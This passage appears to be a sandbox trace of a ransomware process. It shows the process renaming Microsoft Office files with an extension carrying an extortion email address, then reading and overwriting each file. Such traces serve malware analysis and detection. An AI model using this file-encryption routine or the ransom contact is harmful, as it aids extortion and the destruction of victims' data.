0x630000 [0138.776] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a18) returned 0x72b0508 [0138.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0138.777] CloseHandle (hObject=0x678) returned 1 [0138.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.778] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb17b, dwReserved0=0xf008da22, dwReserved1=0x2e0065, cFileName="Subtle Solids.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUBTLE~1.FIR")) returned 0x6d5280 [0138.778] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0138.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0138.778] GetProcessHeap () returned 0x630000 [0138.778] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb181) returned 0x718938 [0138.779] GetProcessHeap () returned 0x630000 [0138.779] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb181) returned 0x71c0048 [0138.779] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.779] ReadFile (in: hFile=0x678, lpBuffer=0x718938, nNumberOfBytesToRead=0xb160, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x718938*, lpNumberOfBytesRead=0x2ffff0c*=0xb160, lpOverlapped=0x0) returned 1 [0142.338] GetProcessHeap () returned 0x630000 [0142.338] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0142.338] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.338] WriteFile (in: hFile=0x678, lpBuffer=0x71c0048*, nNumberOfBytesToWrite=0xb160, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesWritten=0x2ffff0c*=0xb160, lpOverlapped=0x0) returned 1 [0142.338] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.338] WriteFile (in: hFile=0x678, lpBuffer=0x71cb1a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x71cb1a7*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0142.338] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.338] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0142.339] CloseHandle (hObject=0x678) returned 1 [0142.339] GetProcessHeap () returned 0x630000 [0142.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0142.339] GetProcessHeap () returned 0x630000 [0142.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718938 | out: hHeap=0x630000) returned 1 [0142.339] GetProcessHeap () returned 0x630000 [0142.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0142.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.339] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1ac9db03, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb19f, dwReserved0=0xdd07496, dwReserved1=0x718930, cFileName="Subtle Solids.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUBTLE~1.FIR")) returned 0x6d5540 [0142.339] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0142.339] Sleep (dwMilliseconds=0x1) [0142.698] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-oob.xrm-ms", len=0x4a | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-oob.xrm-ms") returned 1 [0142.699] GetProcessHeap () returned 0x630000 [0142.699] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x2510) returned 0x7203db8 [0142.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0142.711] CloseHandle (hObject=0x6d8) returned 1 [0142.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0142.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xed2a3e81, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d33, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORDVL~1.FIR")) returned 0x6d5240 [0142.756] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0142.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0142.757] GetProcessHeap () returned 0x630000 [0142.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d41) returned 0x71b688 [0142.757] GetProcessHeap () returned 0x630000 [0142.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d41) returned 0x71e3d8 [0142.757] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.757] ReadFile (in: hFile=0x6a4, lpBuffer=0x71b688, nNumberOfBytesToRead=0x2d20, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b688*, lpNumberOfBytesRead=0x2ffff0c*=0x2d20, lpOverlapped=0x0) returned 1 [0143.399] GetProcessHeap () returned 0x630000 [0143.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71766b0 [0143.399] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.399] WriteFile (in: hFile=0x6a4, lpBuffer=0x71e3d8*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e3d8*, lpNumberOfBytesWritten=0x2ffff0c*=0x2d20, lpOverlapped=0x0) returned 1 [0143.399] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.400] WriteFile (in: hFile=0x6a4, lpBuffer=0x7210f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x7210f7*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0143.400] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.400] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0143.400] CloseHandle (hObject=0x6a4) returned 1 [0143.645] GetProcessHeap () returned 0x630000 [0143.645] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e3d8 | out: hHeap=0x630000) returned 1 [0143.645] GetProcessHeap () returned 0x630000 [0143.645] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71b688 | out: hHeap=0x630000) returned 1 [0143.645] GetProcessHeap () returned 0x630000 [0143.645] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71766b0 | out: hHeap=0x630000) returned 1 [0143.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c5c91, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d57, dwReserved0=0xdd07496, dwReserved1=0x71b680, cFileName="WordVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORDVL~1.FIR")) returned 0x6d5000 [0143.862] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0143.862] Sleep (dwMilliseconds=0x1) [0143.871] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC", len=0x43 | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC") returned 1 [0143.871] GetProcessHeap () returned 0x630000 [0143.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2698) returned 0x71f7c78 [0143.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0145.436] CloseHandle (hObject=0x4c0) returned 1 [0145.436] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.885] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.885] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GROOVE~1.FIR")) returned 0x6d53c0 [0146.885] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0146.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0146.886] GetProcessHeap () returned 0x630000 [0146.886] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ecf1e0 [0146.886] GetProcessHeap () returned 0x630000 [0146.886] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ece9e8 [0146.886] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.886] ReadFile (in: hFile=0x4c0, lpBuffer=0x6ecf1e0, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecf1e0*, lpNumberOfBytesRead=0x2ffff0c*=0x260, lpOverlapped=0x0) returned 1 [0146.890] GetProcessHeap () returned 0x630000 [0146.890] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.890] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.890] WriteFile (in: hFile=0x4c0, lpBuffer=0x6ece9e8*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ece9e8*, lpNumberOfBytesWritten=0x2ffff0c*=0x260, lpOverlapped=0x0) returned 1 [0146.890] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.890] WriteFile (in: hFile=0x4c0, lpBuffer=0x6ecec47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecec47*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.890] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.891] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.891] CloseHandle (hObject=0x4c0) returned 1 [0146.895] GetProcessHeap () returned 0x630000 [0146.895] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ece9e8 | out: hHeap=0x630000) returned 1 [0146.895] GetProcessHeap () returned 0x630000 [0146.895] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecf1e0 | out: hHeap=0x630000) returned 1 [0146.895] GetProcessHeap () returned 0x630000 [0146.895] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.896] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.896] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d80d8af, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x296, dwReserved0=0x2fffd20, dwReserved1=0x6ecf1e0, cFileName="GROOVE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GROOVE~1.FIR")) returned 0x6d5280 [0146.896] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.896] Sleep (dwMilliseconds=0x1) [0146.901] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS", len=0x44 | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS") returned 1 [0146.901] GetProcessHeap () returned 0x630000 [0146.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26b4) returned 0x71f7c78 [0146.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0146.902] CloseHandle (hObject=0x674) returned 1 [0146.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22756, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_O~4.FIR")) returned 0x6d5280 [0146.903] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0146.903] GetProcessHeap () returned 0x630000 [0146.903] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72f51a8 [0146.903] GetProcessHeap () returned 0x630000 [0146.903] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73005d8 [0146.903] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.903] ReadFile (in: hFile=0x674, lpBuffer=0x72f51a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.498] GetProcessHeap () returned 0x630000 [0154.498] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee2b0 [0154.498] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.498] WriteFile (in: hFile=0x674, lpBuffer=0x73005d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.498] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.498] WriteFile (in: hFile=0x674, lpBuffer=0x730b9d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x730b9d7*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0154.499] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.499] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0154.499] CloseHandle (hObject=0x674) returned 1 [0154.499] GetProcessHeap () returned 0x630000 [0154.499] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73005d8 | out: hHeap=0x630000) returned 1 [0154.499] GetProcessHeap () returned 0x630000 [0154.499] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f51a8 | out: hHeap=0x630000) returned 1 [0154.499] GetProcessHeap () returned 0x630000 [0154.500] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee2b0 | out: hHeap=0x630000) returned 1 [0154.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft 